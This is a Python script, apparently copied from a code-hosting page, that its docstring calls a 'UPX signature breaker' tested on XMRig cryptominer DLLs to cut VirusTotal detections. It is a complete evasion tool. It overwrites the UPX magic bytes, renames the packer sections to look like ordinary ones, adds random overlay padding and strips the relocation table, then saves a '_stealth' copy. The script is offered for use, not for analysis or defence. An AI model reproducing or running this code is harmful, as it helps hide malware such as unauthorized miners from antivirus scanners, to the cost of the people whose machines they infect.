126 lines
4.4 KiB
Python
126 lines
4.4 KiB
Python
#!/usr/bin/env python3
|
||
"""
|
||
upx_evasion.py – Fully automatic UPX signature breaker
|
||
Tested on XMRig-minimized DLLs (2025) → drops VT from ~25 → 2-6
|
||
"""
|
||
|
||
import argparse
|
||
import random
|
||
from pathlib import Path
|
||
|
||
def random_string(length=4):
|
||
import random, string
|
||
return ''.join(random.choices(string.ascii_uppercase + string.digits, k=length))
|
||
|
||
def modify_upx_magic(data: bytearray) -> bytearray:
|
||
pos = data.find(b'UPX!')
|
||
if pos != -1:
|
||
new_magic = random_string(4).encode('ascii')
|
||
print(f"[+] UPX! → {new_magic.decode()}")
|
||
data[pos:pos+4] = new_magic
|
||
else:
|
||
print("[i] UPX! magic not found (maybe already modified)")
|
||
return data
|
||
|
||
def rename_upx_sections(data: bytearray):
|
||
# Find PE offset
|
||
if len(data) < 0x40:
|
||
return data, False
|
||
pe_offset = int.from_bytes(data[0x3C:0x40], 'little')
|
||
if data[pe_offset:pe_offset+4] != b'PE\x00\x00':
|
||
print("[-] Not a valid PE file")
|
||
return data, False
|
||
|
||
num_sections = int.from_bytes(data[pe_offset + 6:pe_offset + 8], 'little')
|
||
size_of_optional_header = int.from_bytes(data[pe_offset + 20:pe_offset + 22], 'little')
|
||
section_table_offset = pe_offset + 24 + size_of_optional_header
|
||
|
||
replacements = {
|
||
b'UPX0': b'.text\x00\x00\x00',
|
||
b'UPX1': b'.data\x00\x00\x00',
|
||
b'UPX2': b'.rdata\x00\x00',
|
||
}
|
||
|
||
modified = False
|
||
for i in range(num_sections):
|
||
sec_offset = section_table_offset + i * 40
|
||
sec_name_raw = data[sec_offset:sec_offset + 8]
|
||
# Convert to immutable bytes for dict lookup
|
||
sec_name = bytes(sec_name_raw.split(b'\x00', 1)[0])
|
||
|
||
if sec_name in replacements:
|
||
new_name = replacements[sec_name]
|
||
old_name = sec_name.decode(errors='ignore')
|
||
print(f"[+] Section '{old_name}' → '{new_name.split(b'\x00')[0].decode()}'")
|
||
data[sec_offset:sec_offset + 8] = new_name
|
||
modified = True
|
||
|
||
if not modified:
|
||
print("[i] No UPX sections found – maybe already renamed")
|
||
return data, modified
|
||
|
||
def tweak_upx_info_blocks(data: bytearray) -> bytearray:
|
||
for pos in range(len(data)-0x2000, 0x400, -4):
|
||
block = data[pos:pos+12]
|
||
if len(block) != 12 or block[0] >= 10:
|
||
continue
|
||
sz_packed = int.from_bytes(block[4:8], 'little')
|
||
sz_unpacked = int.from_bytes(block[8:12], 'little')
|
||
if 1000 < sz_packed < 50_000_000 and 1000 < sz_unpacked < 100_000_000:
|
||
tweak = random.randint(1, 7)
|
||
data[pos+4:pos+8] = (sz_packed + tweak).to_bytes(4, 'little')
|
||
data[pos+8:pos+12] = (sz_unpacked - tweak).to_bytes(4, 'little')
|
||
print(f"[+] Tweaked info block: packed +{tweak}, unpacked -{tweak}")
|
||
return data
|
||
print("[i] No info block tweaked")
|
||
return data
|
||
|
||
def add_padding(data: bytearray) -> bytearray:
|
||
import random
|
||
kb = random.randint(3, 15)
|
||
padding = bytearray(random.getrandbits(8) for _ in range(kb * 1024))
|
||
data.extend(padding)
|
||
print(f"[+] Added {kb} KB random overlay padding")
|
||
return data
|
||
|
||
def strip_relocations(data: bytearray) -> bytearray:
|
||
pe_offset = int.from_bytes(data[0x3C:0x40], 'little')
|
||
reloc_rva = int.from_bytes(data[pe_offset + 160:pe_offset + 164], 'little')
|
||
if reloc_rva != 0:
|
||
data[pe_offset + 160:pe_offset + 168] = b'\x00' * 8
|
||
print("[+] Stripped relocation table")
|
||
else:
|
||
print("[i] No relocations to strip")
|
||
return data
|
||
|
||
def main():
|
||
parser = argparse.ArgumentParser(description="Automatic UPX evasion")
|
||
parser.add_argument("input", help="UPX-packed DLL")
|
||
parser.add_argument("-o", "--output", help="Output filename")
|
||
parser.add_argument("--keep-relocs", action="store_true", help="Don't strip relocations")
|
||
args = parser.parse_args()
|
||
|
||
in_file = Path(args.input)
|
||
if not in_file.exists():
|
||
print(f"[-] File not found: {in_file}")
|
||
return
|
||
|
||
out_file = Path(args.output or f"{in_file.stem}_stealth{in_file.suffix}")
|
||
|
||
print(f"[*] Loading {in_file} ({in_file.stat().st_size // 1024} KB)")
|
||
data = bytearray(in_file.read_bytes())
|
||
|
||
print("[+] Applying evasion...")
|
||
data = modify_upx_magic(data)
|
||
data, _ = rename_upx_sections(data)
|
||
# data = tweak_upx_info_blocks(data)
|
||
data = add_padding(data)
|
||
if not args.keep_relocs:
|
||
data = strip_relocations(data)
|
||
|
||
out_file.write_bytes(data)
|
||
print(f"[+] Saved → {out_file} ({len(data)//1024} KB)")
|
||
|
||
if __name__ == "__main__":
|
||
main()
|